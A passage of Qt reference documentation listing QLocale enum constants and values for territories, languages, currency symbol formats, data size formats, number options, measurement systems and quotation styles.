| `QLocale::Israel` | `116` |  |
| `QLocale::Italy` | `117` |  |
| `QLocale::IvoryCoast` | `118` |  |
| `QLocale::Jamaica` | `119` |  |
| `QLocale::Japan` | `120` |  |
| `QLocale::Jersey` | `121` |  |
| `QLocale::Jordan` | `122` |  |
| `QLocale::Kazakhstan` | `123` |  |
| `QLocale::Kenya` | `124` |  |
| `QLocale::Kiribati` | `125` |  |
| `QLocale::Kosovo` | `126` | Since Qt 5.2 |
| `QLocale::Kuwait` | `127` |  |
| `QLocale::Kyrgyzstan` | `128` |  |
| `QLocale::Laos` | `129` |  |
| `QLocale::LatinAmerica` | `130` |  |
| `QLocale::LatinAmericaAndTheCaribbean` | `LatinAmerica` | Obsolete, use `LatinAmerica` instead |
| `QLocale::Latvia` | `131` |  |
| `QLocale::Lebanon` | `132` |  |
| `QLocale::Lesotho` | `133` |  |
| `QLocale::Liberia` | `134` |  |
| `QLocale::Libya` | `135` |  |
| `QLocale::Liechtenstein` | `136` |  |
| `QLocale::Lithuania` | `137` |  |
| `QLocale::Luxembourg` | `138` |  |
| `QLocale::Macao` | `139` |  |
| `QLocale::Macau` | `Macao` |  |
| `QLocale::Macedonia` | `140` |  |
| `QLocale::Madagascar` | `141` |  |
| `QLocale::Malawi` | `142` |  |
| `QLocale::Malaysia` | `143` |  |
| `QLocale::Maldives` | `144` |  |
| `QLocale::Mali` | `145` |  |
| `QLocale::Malta` | `146` |  |
| `QLocale::MarshallIslands` | `147` |  |
| `QLocale::Martinique` | `148` |  |
| `QLocale::Mauritania` | `149` |  |
| `QLocale::Mauritius` | `150` |  |
| `QLocale::Mayotte` | `151` |  |
| `QLocale::Mexico` | `152` |  |
| `QLocale::Micronesia` | `153` |  |
| `QLocale::Moldova` | `154` |  |
| `QLocale::Monaco` | `155` |  |
| `QLocale::Mongolia` | `156` |  |
| `QLocale::Montenegro` | `157` |  |
| `QLocale::Montserrat` | `158` |  |
| `QLocale::Morocco` | `159` |  |
| `QLocale::Mozambique` | `160` |  |
| `QLocale::Myanmar` | `161` |  |
| `QLocale::Namibia` | `162` |  |
| `QLocale::NauruCountry` | `NauruTerritory` | Osbolete alias for `NauruTerritory` |
| `QLocale::NauruTerritory` | `163` | Since 6.2 |
| `QLocale::Nepal` | `164` |  |
| `QLocale::Netherlands` | `165` |  |
| `QLocale::NewCaledonia` | `166` |  |
| `QLocale::NewZealand` | `167` |  |
| `QLocale::Nicaragua` | `168` |  |
| `QLocale::Niger` | `170` |  |
| `QLocale::Nigeria` | `169` |  |
| `QLocale::Niue` | `171` |  |
| `QLocale::NorfolkIsland` | `172` |  |
| `QLocale::NorthernMarianaIslands` | `173` |  |
| `QLocale::NorthKorea` | `174` |  |
| `QLocale::Norway` | `175` |  |
| `QLocale::Oman` | `176` |  |
| `QLocale::OutlyingOceania` | `177` | Since Qt 5.7 |
| `QLocale::Pakistan` | `178` |  |
| `QLocale::Palau` | `179` |  |
| `QLocale::PalestinianTerritories` | `180` |  |
| `QLocale::Panama` | `181` |  |
| `QLocale::PapuaNewGuinea` | `182` |  |
| `QLocale::Paraguay` | `183` |  |
| `QLocale::PeoplesRepublicOfCongo` | `CongoBrazzaville` | Obsolete, use `CongoBrazzaville` instead |
| `QLocale::Peru` | `184` |  |
| `QLocale::Philippines` | `185` |  |
| `QLocale::Pitcairn` | `186` |  |
| `QLocale::Poland` | `187` |  |
| `QLocale::Portugal` | `188` |  |
| `QLocale::PuertoRico` | `189` |  |
| `QLocale::Qatar` | `190` |  |
| `QLocale::RepublicOfKorea` | `SouthKorea` | Obsolete, use `SouthKorea` instead |
| `QLocale::Reunion` | `191` |  |
| `QLocale::Romania` | `192` |  |
| `QLocale::RussianFederation` | `Russia` |  |
| `QLocale::Russia` | `193` |  |
| `QLocale::Rwanda` | `194` |  |
| `QLocale::SaintBarthelemy` | `195` |  |
| `QLocale::SaintHelena` | `196` |  |
| `QLocale::SaintKittsAndNevis` | `197` |  |
| `QLocale::SaintLucia` | `198` |  |
| `QLocale::SaintMartin` | `199` |  |
| `QLocale::SaintPierreAndMiquelon` | `200` |  |
| `QLocale::SaintVincentAndGrenadines` | `201` |  |
| `QLocale::SaintVincentAndTheGrenadines` | `SaintVincentAndGrenadines` |  |
| `QLocale::Samoa` | `202` |  |
| `QLocale::SanMarino` | `203` |  |
| `QLocale::SaoTomeAndPrincipe` | `204` |  |
| `QLocale::SaudiArabia` | `205` |  |
| `QLocale::Senegal` | `206` |  |
| `QLocale::Serbia` | `207` |  |
| `QLocale::Seychelles` | `208` |  |
| `QLocale::SierraLeone` | `209` |  |
| `QLocale::Singapore` | `210` |  |
| `QLocale::SintMaarten` | `211` |  |
| `QLocale::Slovakia` | `212` |  |
| `QLocale::Slovenia` | `213` |  |
| `QLocale::SolomonIslands` | `214` |  |
| `QLocale::Somalia` | `215` |  |
| `QLocale::SouthAfrica` | `216` |  |
| `QLocale::SouthGeorgiaAndSouthSandwichIslands` | `217` |  |
| `QLocale::SouthGeorgiaAndTheSouthSandwichIslands` | `SouthGeorgiaAndSouthSandwichIslands` |  |
| `QLocale::SouthKorea` | `218` |  |
| `QLocale::SouthSudan` | `219` |  |
| `QLocale::Spain` | `220` |  |
| `QLocale::SriLanka` | `221` |  |
| `QLocale::Sudan` | `222` |  |
| `QLocale::Suriname` | `223` |  |
| `QLocale::SvalbardAndJanMayen` | `224` |  |
| `QLocale::SvalbardAndJanMayenIslands` | `SvalbardAndJanMayen` |  |
| `QLocale::Swaziland` | `Eswatini` |  |
| `QLocale::Sweden` | `225` |  |
| `QLocale::Switzerland` | `226` |  |
| `QLocale::Syria` | `227` |  |
| `QLocale::SyrianArabRepublic` | `Syria` | Obsolete, use `Syria` instead |
| `QLocale::Taiwan` | `228` |  |
| `QLocale::Tajikistan` | `229` |  |
| `QLocale::Tanzania` | `230` |  |
| `QLocale::Thailand` | `231` |  |
| `QLocale::TimorLeste` | `232` |  |
| `QLocale::Togo` | `233` |  |
| `QLocale::TokelauCountry` | `TokelauTerritory` | Osbolete alias for `TokelauTerritory` |
| `QLocale::TokelauTerritory` | `234` | Since 6.2 |
| `QLocale::Tonga` | `235` |  |
| `QLocale::TrinidadAndTobago` | `236` |  |
| `QLocale::TristanDaCunha` | `237` |  |
| `QLocale::Tunisia` | `238` |  |
| `QLocale::Turkey` | `239` |  |
| `QLocale::Turkmenistan` | `240` |  |
| `QLocale::TurksAndCaicosIslands` | `241` |  |
| `QLocale::TuvaluCountry` | `TuvaluTerritory` | Osbolete alias for `TuvaluTerritory` |
| `QLocale::TuvaluTerritory` | `242` | Since 6.2 |
| `QLocale::Uganda` | `243` |  |
| `QLocale::Ukraine` | `244` |  |
| `QLocale::UnitedArabEmirates` | `245` |  |
| `QLocale::UnitedKingdom` | `246` |  |
| `QLocale::UnitedStates` | `248` |  |
| `QLocale::UnitedStatesOutlyingIslands` | `247` |  |
| `QLocale::UnitedStatesMinorOutlyingIslands` | `UnitedStatesOutlyingIslands` |  |
| `QLocale::UnitedStatesVirginIslands` | `249` |  |
| `QLocale::Uruguay` | `250` |  |
| `QLocale::Uzbekistan` | `251` |  |
| `QLocale::Vanuatu` | `252` |  |
| `QLocale::VaticanCity` | `253` |  |
| `QLocale::VaticanCityState` | `VaticanCity` |  |
| `QLocale::Venezuela` | `254` |  |
| `QLocale::Vietnam` | `255` |  |
| `QLocale::WallisAndFutuna` | `256` |  |
| `QLocale::WallisAndFutunaIslands` | `WallisAndFutuna` |  |
| `QLocale::WesternSahara` | `257` |  |
| `QLocale::World` | `258` | Since Qt 5.12 |
| `QLocale::Yemen` | `259` |  |
| `QLocale::Zambia` | `260` |  |
| `QLocale::Zimbabwe` | `261` |  |

  **Note:** Use the Territory alias for this enumeration where possible. The Country enum shall be renamed to Territory at a later release.

  **See also** [territory](qlocale#territory)(), [territoryToString](qlocale#territoryToString)(), [codeToTerritory](qlocale#codeToTerritory)(), and [territoryToCode](qlocale#territoryToCode)().

 ### enum QLocale::CurrencySymbolFormat

 Specifies the format of the currency symbol.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::CurrencyIsoCode` | `0` | a ISO-4217 code of the currency. |
| `QLocale::CurrencySymbol` | `1` | a currency symbol. |
| `QLocale::CurrencyDisplayName` | `2` | a user readable name of the currency. |

 ### 
`[since 5.10]` enum QLocale::DataSizeFormatflags QLocale::DataSizeFormats

 Specifies the format for representation of data quantities.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::DataSizeIecFormat` | `0` | format using base 1024 and IEC prefixes: KiB, MiB, GiB, ... |
| `QLocale::DataSizeTraditionalFormat` | `DataSizeSIQuantifiers` | format using base 1024 and SI prefixes: kB, MB, GB, ... |
| `QLocale::DataSizeSIFormat` | `DataSizeBase1000 | DataSizeSIQuantifiers` | format using base 1000 and SI prefixes: kB, MB, GB, ... |

 This enum was introduced or modified in Qt 5.10.

 The DataSizeFormats type is a typedef for [QFlags](qflags)<DataSizeFormat>. It stores an OR combination of DataSizeFormat values.

 **See also** [formattedDataSize](qlocale#formattedDataSize)().

 ### 
`[since 5.7]` enum QLocale::FloatingPointPrecisionOption

 This enum defines a constant that can be given as precision to [QString::number](qstring#number)(), [QByteArray::number](qbytearray#number)(), and [QLocale::toString](qlocale#toString)() when converting floats or doubles, in order to express a variable number of digits as precision.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::FloatingPointShortest` | `-128` | The conversion algorithm will try to find the shortest accurate representation for the given number. "Accurate" means that you get the exact same number back from an inverse conversion on the generated string representation. In particular, trailing zeros are omitted (from the mantissa, in exponent formats). |

 This enum was introduced or modified in Qt 5.7.

 **See also** [toString](qlocale#toString)(), [QString::number](qstring#number)(), and [QByteArray::number](qbytearray#number)().

 ### enum QLocale::FormatType

 This enum describes the different formats that can be used when converting [QDate](qdate), [QTime](qtime), and [QDateTime](qdatetime) objects, as well as months and days, to strings specific to the locale.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::LongFormat` | `0` | Longer format. |
| `QLocale::ShortFormat` | `1` | Shorter format. |
| `QLocale::NarrowFormat` | `2` | A special version for use when space is very limited. |

  **Note:** `NarrowFormat` might contain the same text for different months and days. It can even be an empty string if the locale doesn't support narrow names, so you should avoid using it for date formatting. Also, for the system locale this format is the same as `ShortFormat`.

  **See also** [dateFormat](qlocale#dateFormat)(), [timeFormat](qlocale#timeFormat)(), [dateTimeFormat](qlocale#dateTimeFormat)(), [monthName](qlocale#monthName)(), [standaloneMonthName](qlocale#standaloneMonthName)(), [dayName](qlocale#dayName)(), [standaloneDayName](qlocale#standaloneDayName)(), [toDate](qlocale#toDate)(), [toTime](qlocale#toTime)(), and [toDateTime](qlocale#toDateTime)().

 ### enum QLocale::Language

 This enumerated type is used to specify a language.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::AnyLanguage` | `0` |  |
| `QLocale::C` | `1` | A simplified English locale; see [QLocale::c](qlocale#c)() |
| `QLocale::Abkhazian` | `2` |  |
| `QLocale::Afan` | `Oromo` | Obsolete, please use Oromo |
| `QLocale::Afar` | `3` |  |
| `QLocale::Afrikaans` | `4` |  |
| `QLocale::Aghem` | `5` |  |
| `QLocale::Akan` | `6` |  |
| `QLocale::Akkadian` | `7` | Since Qt 5.1 |
| `QLocale::Akoose` | `8` | Since Qt 5.3 |
| `QLocale::Albanian` | `9` |  |
| `QLocale::AmericanSignLanguage` | `10` | Since Qt 5.7 |
| `QLocale::Amharic` | `11` |  |
| `QLocale::AncientEgyptian` | `12` | Since Qt 5.1 |
| `QLocale::AncientGreek` | `13` | Since Qt 5.1 |
| `QLocale::Arabic` | `14` |  |
| `QLocale::Aragonese` | `15` | Since Qt 5.1 |
| `QLocale::Aramaic` | `16` | Since Qt 5.1 |
| `QLocale::Armenian` | `17` |  |
| `QLocale::Assamese` | `18` |  |
| `QLocale::Asturian` | `19` |  |
| `QLocale::Asu` | `20` |  |
| `QLocale::Atsam` | `21` |  |
| `QLocale::Avaric` | `22` |  |
| `QLocale::Avestan` | `23` |  |
| `QLocale::Aymara` | `24` |  |
| `QLocale::Azerbaijani` | `25` |  |
| `QLocale::Bafia` | `26` |  |
| `QLocale::Balinese` | `27` | Since Qt 5.1 |
| `QLocale::Bambara` | `28` |  |
| `QLocale::Bamun` | `29` | Since Qt 5.1 |
| `QLocale::Bangla` | `30` | Since Qt 6.0 |
| `QLocale::Basaa` | `31` |  |
| `QLocale::Bashkir` | `32` |  |
| `QLocale::Basque` | `33` |  |
| `QLocale::BatakToba` | `34` | Since Qt 5.1 |
| `QLocale::Belarusian` | `35` |  |
| `QLocale::Bemba` | `36` |  |
| `QLocale::Bena` | `37` |  |
| `QLocale::Bengali` | `Bangla` | Obsolete, please use Bangla |
| `QLocale::Bhojpuri` | `38` | Since Qt 5.7 |
| `QLocale::Bhutani` | `Dzongkha` | Obsolete, please use Dzongkha |
| `QLocale::Bislama` | `39` |  |
| `QLocale::Blin` | `40` |  |
| `QLocale::Bodo` | `41` |  |
| `QLocale::Bosnian` | `42` |  |
| `QLocale::Breton` | `43` |  |
| `QLocale::Buginese` | `44` | Since Qt 5.1 |
| `QLocale::Bulgarian` | `45` |  |
| `QLocale::Burmese` | `46` |  |
| `QLocale::Byelorussian` | `Belarusian` | Obsolete, please use Belarusian |
| `QLocale::Cambodian` | `Khmer` | Obsolete, please use Khmer |
| `QLocale::Cantonese` | `47` | Since Qt 5.7 |
| `QLocale::Catalan` | `48` |  |
| `QLocale::Cebuano` | `49` | Since Qt 5.14 |
| `QLocale::CentralAtlasTamazight` | `50` | Since Qt 6.0 |
| `QLocale::CentralKurdish` | `51` | Since Qt 5.5 |
| `QLocale::CentralMoroccoTamazight` | `CentralAtlasTamazight` | Obsolete, please use CentralAtlasTamazight |
| `QLocale::Chakma` | `52` | Since Qt 5.1 |
| `QLocale::Chamorro` | `53` |  |
| `QLocale::Chechen` | `54` |  |
| `QLocale::Cherokee` | `55` |  |
| `QLocale::Chewa` | `Nyanja` | Obsolete, please use Nyanja |
| `QLocale::Chickasaw` | `56` | Since Qt 5.14 |
| `QLocale::Chiga` | `57` |  |
| `QLocale::Chinese` | `58` | (Mandarin) |
| `QLocale::Church` | `59` |  |
| `QLocale::Chuvash` | `60` |  |
| `QLocale::Colognian` | `61` |  |
| `QLocale::Coptic` | `62` | Since Qt 5.1 |
| `QLocale::Cornish` | `63` |  |
| `QLocale::Corsican` | `64` |  |
| `QLocale::Cree` | `65` |  |
| `QLocale::Croatian` | `66` |  |
| `QLocale::Czech` | `67` |  |
| `QLocale::Danish` | `68` |  |
| `QLocale::Divehi` | `69` |  |
| `QLocale::Dogri` | `70` | Since Qt 5.1 |
| `QLocale::Duala` | `71` |  |
| `QLocale::Dutch` | `72` |  |
| `QLocale::Dzongkha` | `73` |  |
| `QLocale::Embu` | `74` |  |
| `QLocale::English` | `75` |  |
| `QLocale::Erzya` | `76` | Since Qt 5.14 |
| `QLocale::Esperanto` | `77` |  |
| `QLocale::Estonian` | `78` |  |
| `QLocale::Ewe` | `79` |  |
| `QLocale::Ewondo` | `80` |  |
| `QLocale::Faroese` | `81` |  |
| `QLocale::Fijian` | `82` |  |
| `QLocale::Filipino` | `83` |  |
| `QLocale::Finnish` | `84` |  |
| `QLocale::French` | `85` |  |
| `QLocale::Frisian` | `WesternFrisian` | same as WesternFrisian |
| `QLocale::Friulian` | `86` |  |
| `QLocale::Fulah` | `87` |  |
| `QLocale::Ga` | `89` |  |
| `QLocale::Gaelic` | `88` |  |
| `QLocale::Galician` | `90` |  |
| `QLocale::Ganda` | `91` |  |
| `QLocale::Geez` | `92` |  |
| `QLocale::Georgian` | `93` |  |
| `QLocale::German` | `94` |  |
| `QLocale::Gothic` | `95` | Since Qt 5.1 |
| `QLocale::Greek` | `96` |  |
| `QLocale::Greenlandic` | `Kalaallisut` | Obsolete, please use Kalaallisut |
| `QLocale::Guarani` | `97` |  |
| `QLocale::Gujarati` | `98` |  |
| `QLocale::Gusii` | `99` |  |
| `QLocale::Haitian` | `100` |  |
| `QLocale::Hausa` | `101` |  |
| `QLocale::Hawaiian` | `102` |  |
| `QLocale::Hebrew` | `103` |  |
| `QLocale::Herero` | `104` |  |
| `QLocale::Hindi` | `105` |  |
| `QLocale::HiriMotu` | `106` |  |
| `QLocale::Hungarian` | `107` |  |
| `QLocale::Icelandic` | `108` |  |
| `QLocale::Ido` | `109` | Since Qt 5.12 |
| `QLocale::Igbo` | `110` |  |
| `QLocale::InariSami` | `111` | Since Qt 5.5 |
| `QLocale::Indonesian` | `112` |  |
| `QLocale::Ingush` | `113` | Since Qt 5.1 |
| `QLocale::Interlingua` | `114` |  |
| `QLocale::Interlingue` | `115` |  |
| `QLocale::Inuktitut` | `116` |  |
| `QLocale::Inupiak` | `Inupiaq` | Obsolete, please use Inupiaq |
| `QLocale::Inupiaq` | `117` | Since 6.0 |
| `QLocale::Irish` | `118` |  |
| `QLocale::Italian` | `119` |  |
| `QLocale::Japanese` | `120` |  |
| `QLocale::Javanese` | `121` |  |
| `QLocale::Jju` | `122` |  |
| `QLocale::JolaFonyi` | `123` |  |
| `QLocale::Kabuverdianu` | `124` |  |
| `QLocale::Kabyle` | `125` |  |
| `QLocale::Kako` | `126` |  |
| `QLocale::Kalaallisut` | `127` | Since Qt 6.0 |
| `QLocale::Kalenjin` | `128` |  |
| `QLocale::Kamba` | `129` |  |
| `QLocale::Kannada` | `130` |  |
| `QLocale::Kanuri` | `131` |  |
| `QLocale::Kashmiri` | `132` |  |
| `QLocale::Kazakh` | `133` |  |
| `QLocale::Kenyang` | `134` | Since Qt 5.5 |
| `QLocale::Khmer` | `135` |  |
| `QLocale::Kiche` | `136` | Since Qt 5.5 |
| `QLocale::Kikuyu` | `137` |  |
| `QLocale::Kinyarwanda` | `138` |  |
| `QLocale::Kirghiz` | `Kyrgyz` | Obsolete, please use Kyrgyz |
| `QLocale::Komi` | `139` |  |
| `QLocale::Kongo` | `140` |  |
| `QLocale::Konkani` | `141` |  |
| `QLocale::Korean` | `142` |  |
| `QLocale::Koro` | `143` |  |
| `QLocale::KoyraboroSenni` | `144` |  |
| `QLocale::KoyraChiini` | `145` |  |
| `QLocale::Kpelle` | `146` |  |
| `QLocale::Kuanyama` | `147` | Since 6.0 |
| `QLocale::Kurdish` | `148` |  |
| `QLocale::Kurundi` | `Rundi` | Obsolete, please use Rundi |
| `QLocale::Kwanyama` | `Kuanyama` | Obsolete, please use Kuanyama |
| `QLocale::Kwasio` | `149` |  |
| `QLocale::Kyrgyz` | `150` | Since 6.0 |
| `QLocale::Lakota` | `151` | Since Qt 5.3 |
| `QLocale::Langi` | `152` |  |
| `QLocale::Lao` | `153` |  |
| `QLocale::Latin` | `154` |  |
| `QLocale::Latvian` | `155` |  |
| `QLocale::Lezghian` | `156` | Since Qt 5.5 |
| `QLocale::Limburgish` | `157` |  |
| `QLocale::Lingala` | `158` |  |
| `QLocale::LiteraryChinese` | `159` | Since Qt 5.7 |
| `QLocale::Lithuanian` | `160` |  |
| `QLocale::Lojban` | `161` | Since Qt 5.12 |
| `QLocale::LowerSorbian` | `162` | Since Qt 5.5 |
| `QLocale::LowGerman` | `163` |  |
| `QLocale::LubaKatanga` | `164` |  |
| `QLocale::LuleSami` | `165` | Since Qt 5.5 |
| `QLocale::Luo` | `166` |  |
| `QLocale::Luxembourgish` | `167` |  |
| `QLocale::Luyia` | `168` |  |
| `QLocale::Macedonian` | `169` |  |
| `QLocale::Machame` | `170` |  |
| `QLocale::Maithili` | `171` | Since Qt 5.5 |
| `QLocale::MakhuwaMeetto` | `172` |  |
| `QLocale::Makonde` | `173` |  |
| `QLocale::Malagasy` | `174` |  |
| `QLocale::Malay` | `176` |  |
| `QLocale::Malayalam` | `175` |  |
| `QLocale::Maltese` | `177` |  |
| `QLocale::Mandingo` | `178` | Since Qt 5.1 |
| `QLocale::Manipuri` | `179` | Since Qt 5.1 |
| `QLocale::Manx` | `180` |  |
| `QLocale::Maori` | `181` |  |
| `QLocale::Mapuche` | `182` | Since Qt 5.5 |
| `QLocale::Marathi` | `183` |  |
| `QLocale::Marshallese` | `184` |  |
| `QLocale::Masai` | `185` |  |
| `QLocale::Mazanderani` | `186` | Since Qt 5.7 |
| `QLocale::Mende` | `187` | Since Qt 5.5 |
| `QLocale::Meru` | `188` |  |
| `QLocale::Meta` | `189` |  |
| `QLocale::Mohawk` | `190` | Since Qt 5.5 |
| `QLocale::Mongolian` | `191` |  |
| `QLocale::Morisyen` | `192` |  |
| `QLocale::Mundang` | `193` |  |
| `QLocale::Muscogee` | `194` | Since Qt 5.14 |
| `QLocale::Nama` | `195` |  |
| `QLocale::NauruLanguage` | `196` |  |
| `QLocale::Navaho` | `Navajo` | Obsolete, please use Navajo |
| `QLocale::Navajo` | `197` | Since 6.0 |
| `QLocale::Ndonga` | `198` |  |
| `QLocale::Nepali` | `199` |  |
| `QLocale::Newari` | `200` | Since Qt 5.7 |
| `QLocale::Ngiemboon` | `201` |  |
| `QLocale::NigerianPidgin` | `203` | Since Qt 6.0 |
| `QLocale::Ngomba` | `202` |  |
| `QLocale::Nko` | `204` | Since Qt 5.5 |
| `QLocale::NorthernLuri` | `205` | Since Qt 5.7 |
| `QLocale::NorthernSami` | `206` |  |
| `QLocale::NorthernSotho` | `207` |  |
| `QLocale::NorthNdebele` | `208` |  |
| `QLocale::NorwegianBokmal` | `209` |  |
| `QLocale::NorwegianNynorsk` | `210` |  |
| `QLocale::Nuer` | `211` |  |
| `QLocale::Nyanja` | `212` |  |
| `QLocale::Nyankole` | `213` |  |
| `QLocale::Occitan` | `214` |  |
| `QLocale::Odia` | `215` | Since 6.0 |
| `QLocale::Ojibwa` | `216` |  |
| `QLocale::OldIrish` | `217` | Since Qt 5.1 |
| `QLocale::OldNorse` | `218` | Since Qt 5.1 |
| `QLocale::OldPersian` | `219` | Since Qt 5.1 |
| `QLocale::Oriya` | `Odia` | Obsolete, please use Odia |
| `QLocale::Oromo` | `220` |  |
| `QLocale::Osage` | `221` | Since Qt 5.7 |
| `QLocale::Ossetic` | `222` |  |
| `QLocale::Pahlavi` | `223` | Since Qt 5.1 |
| `QLocale::Palauan` | `224` | Since Qt 5.7 |
| `QLocale::Pali` | `225` |  |
| `QLocale::Papiamento` | `226` | Since Qt 5.7 |
| `QLocale::Pashto` | `227` |  |
| `QLocale::Persian` | `228` |  |
| `QLocale::Phoenician` | `229` | Since Qt 5.1 |
| `QLocale::Polish` | `230` |  |
| `QLocale::Portuguese` | `231` |  |
| `QLocale::Prussian` | `232` | Since Qt 5.5 |
| `QLocale::Punjabi` | `233` |  |
| `QLocale::Quechua` | `234` |  |
| `QLocale::RhaetoRomance` | `Romansh` | Obsolete, please use Romansh |
| `QLocale::Romanian` | `235` |  |
| `QLocale::Romansh` | `236` |  |
| `QLocale::Rombo` | `237` |  |
| `QLocale::Rundi` | `238` |  |
| `QLocale::Russian` | `239` |  |
| `QLocale::Rwa` | `240` |  |
| `QLocale::Saho` | `241` |  |
| `QLocale::Sakha` | `242` |  |
| `QLocale::Samburu` | `243` |  |
| `QLocale::Samoan` | `244` |  |
| `QLocale::Sango` | `245` |  |
| `QLocale::Sangu` | `246` |  |
| `QLocale::Sanskrit` | `247` |  |
| `QLocale::Santali` | `248` | Since Qt 5.1 |
| `QLocale::Sardinian` | `249` |  |
| `QLocale::Saurashtra` | `250` | Since Qt 5.1 |
| `QLocale::Sena` | `251` |  |
| `QLocale::Serbian` | `252` |  |
| `QLocale::Shambala` | `253` |  |
| `QLocale::Shona` | `254` |  |
| `QLocale::SichuanYi` | `255` |  |
| `QLocale::Sicilian` | `256` | Since Qt 5.12 |
| `QLocale::Sidamo` | `257` |  |
| `QLocale::Silesian` | `258` | Since Qt 5.14 |
| `QLocale::Sindhi` | `259` |  |
| `QLocale::Sinhala` | `260` |  |
| `QLocale::SkoltSami` | `261` | Since Qt 5.5 |
| `QLocale::Slovak` | `262` |  |
| `QLocale::Slovenian` | `263` |  |
| `QLocale::Soga` | `264` |  |
| `QLocale::Somali` | `265` |  |
| `QLocale::SouthernKurdish` | `266` | Since Qt 5.12 |
| `QLocale::SouthernSami` | `267` | Since Qt 5.5 |
| `QLocale::SouthernSotho` | `268` |  |
| `QLocale::SouthNdebele` | `269` |  |
| `QLocale::Spanish` | `270` |  |
| `QLocale::StandardMoroccanTamazight` | `271` | Since Qt 5.3 |
| `QLocale::Sundanese` | `272` |  |
| `QLocale::Swahili` | `273` |  |
| `QLocale::Swati` | `274` |  |
| `QLocale::Swedish` | `275` |  |
| `QLocale::SwissGerman` | `276` |  |
| `QLocale::Syriac` | `277` |  |
| `QLocale::Tachelhit` | `278` |  |
| `QLocale::Tahitian` | `279` |  |
| `QLocale::TaiDam` | `280` | Since Qt 5.1 |
| `QLocale::Taita` | `281` |  |
| `QLocale::Tajik` | `282` |  |
| `QLocale::Tamil` | `283` |  |
| `QLocale::Taroko` | `284` |  |
| `QLocale::Tasawaq` | `285` |  |
| `QLocale::Tatar` | `286` |  |
| `QLocale::Telugu` | `287` |  |
| `QLocale::Teso` | `288` |  |
| `QLocale::Thai` | `289` |  |
| `QLocale::Tibetan` | `290` |  |
| `QLocale::Tigre` | `291` |  |
| `QLocale::Tigrinya` | `292` |  |
| `QLocale::TokelauLanguage` | `293` | Since Qt 5.7 |
| `QLocale::TokPisin` | `294` | Since Qt 5.7 |
| `QLocale::Tongan` | `295` |  |
| `QLocale::Tsonga` | `296` |  |
| `QLocale::Tswana` | `297` |  |
| `QLocale::Turkish` | `298` |  |
| `QLocale::Turkmen` | `299` |  |
| `QLocale::TuvaluLanguage` | `300` | Since Qt 5.7 |
| `QLocale::Tyap` | `301` |  |
| `QLocale::Ugaritic` | `302` | Since Qt 5.1 |
| `QLocale::Uighur` | `Uyghur` | Obsolete, please use Uyghur |
| `QLocale::Uigur` | `Uyghur` | Obsolete, please use Uyghur |
| `QLocale::Ukrainian` | `303` |  |
| `QLocale::UpperSorbian` | `304` | Since Qt 5.5 |
| `QLocale::Urdu` | `305` |  |
| `QLocale::Uyghur` | `306` | Since 6.0 |
| `QLocale::Uzbek` | `307` |  |
| `QLocale::Vai` | `308` |  |
| `QLocale::Venda` | `309` |  |
| `QLocale::Vietnamese` | `310` |  |
| `QLocale::Volapuk` | `311` |  |
| `QLocale::Vunjo` | `312` |  |
| `QLocale::Walamo` | `Wolaytta` | Obsolete, please use Wolaytta |
| `QLocale::Walloon` | `313` |  |
| `QLocale::Walser` | `314` |  |
| `QLocale::Warlpiri` | `315` | Since Qt 5.5 |
| `QLocale::Welsh` | `316` |  |
| `QLocale::WesternBalochi` | `317` | Since Qt 5.12 |
| `QLocale::WesternFrisian` | `318` | same as Frisian |
| `QLocale::Wolaytta` | `319` | Since 6.0 |
| `QLocale::Wolof` | `320` |  |
| `QLocale::Xhosa` | `321` |  |
| `QLocale::Yangben` | `322` |  |
| `QLocale::Yiddish` | `323` |  |
| `QLocale::Yoruba` | `324` |  |
| `QLocale::Zarma` | `325` |  |
| `QLocale::Zhuang` | `326` |  |
| `QLocale::Zulu` | `327` |  |

 **See also** [language](qlocale#language)() and [languageToString](qlocale#languageToString)().

 ### enum QLocale::MeasurementSystem

 This enum defines which units are used for measurement.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::MetricSystem` | `0` | This value indicates metric units, such as meters, centimeters and millimeters. |
| `QLocale::ImperialUSSystem` | `1` | This value indicates imperial units, such as inches and miles as they are used in the United States. |
| `QLocale::ImperialUKSystem` | `2` | This value indicates imperial units, such as inches and miles as they are used in the United Kingdom. |
| `QLocale::ImperialSystem` | `ImperialUSSystem` | Provided for compatibility. Same as ImperialUSSystem |

 ### enum QLocale::NumberOptionflags QLocale::NumberOptions

 This enum defines a set of options for number-to-string and string-to-number conversions. They can be retrieved with [numberOptions](qlocale#numberOptions)() and set with [setNumberOptions](qlocale#setNumberOptions)().

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::DefaultNumberOptions` | `0x0` | This option represents the default behavior, with group separators, with one leading zero in single digit exponents, and without trailing zeroes after the decimal dot. |
| `QLocale::OmitGroupSeparator` | `0x01` | If this option is set, the number-to-string functions will not insert group separators in their return values. The default is to insert group separators. |
| `QLocale::RejectGroupSeparator` | `0x02` | If this option is set, the string-to-number functions will fail if they encounter group separators in their input. The default is to accept numbers containing correctly placed group separators. |
| `QLocale::OmitLeadingZeroInExponent` | `0x04` | If this option is set, the number-to-string functions will not pad exponents with zeroes when printing floating point numbers in scientific notation. The default is to add one leading zero to single digit exponents. |
| `QLocale::RejectLeadingZeroInExponent` | `0x08` | If this option is set, the string-to-number functions will fail if they encounter an exponent padded with zeroes when parsing a floating point number in scientific notation. The default is to accept such padding. |
| `QLocale::IncludeTrailingZeroesAfterDot` | `0x10` | If this option is set, the number-to-string functions will pad numbers with zeroes to the requested precision in "g" or "most concise" mode, even if the number of significant digits is lower than the requested precision. The default is to omit trailing zeroes. |
| `QLocale::RejectTrailingZeroesAfterDot` | `0x20` | If this option is set, the string-to-number functions will fail if they encounter trailing zeroes after the decimal dot when parsing a number in scientific or decimal representation. The default is to accept trailing zeroes. |

 The NumberOptions type is a typedef for [QFlags](qflags)<NumberOption>. It stores an OR combination of NumberOption values.

 **See also** [setNumberOptions](qlocale#setNumberOptions)(), [numberOptions](qlocale#numberOptions)(), and [FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### enum QLocale::QuotationStyle

 This enum defines a set of possible styles for locale specific quotation.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::StandardQuotation` | `0` | If this option is set, the standard quotation marks will be used to quote strings. |
| `QLocale::AlternateQuotation` | `1` | If this option is set, the alternate quotation marks will be used to quote strings. |

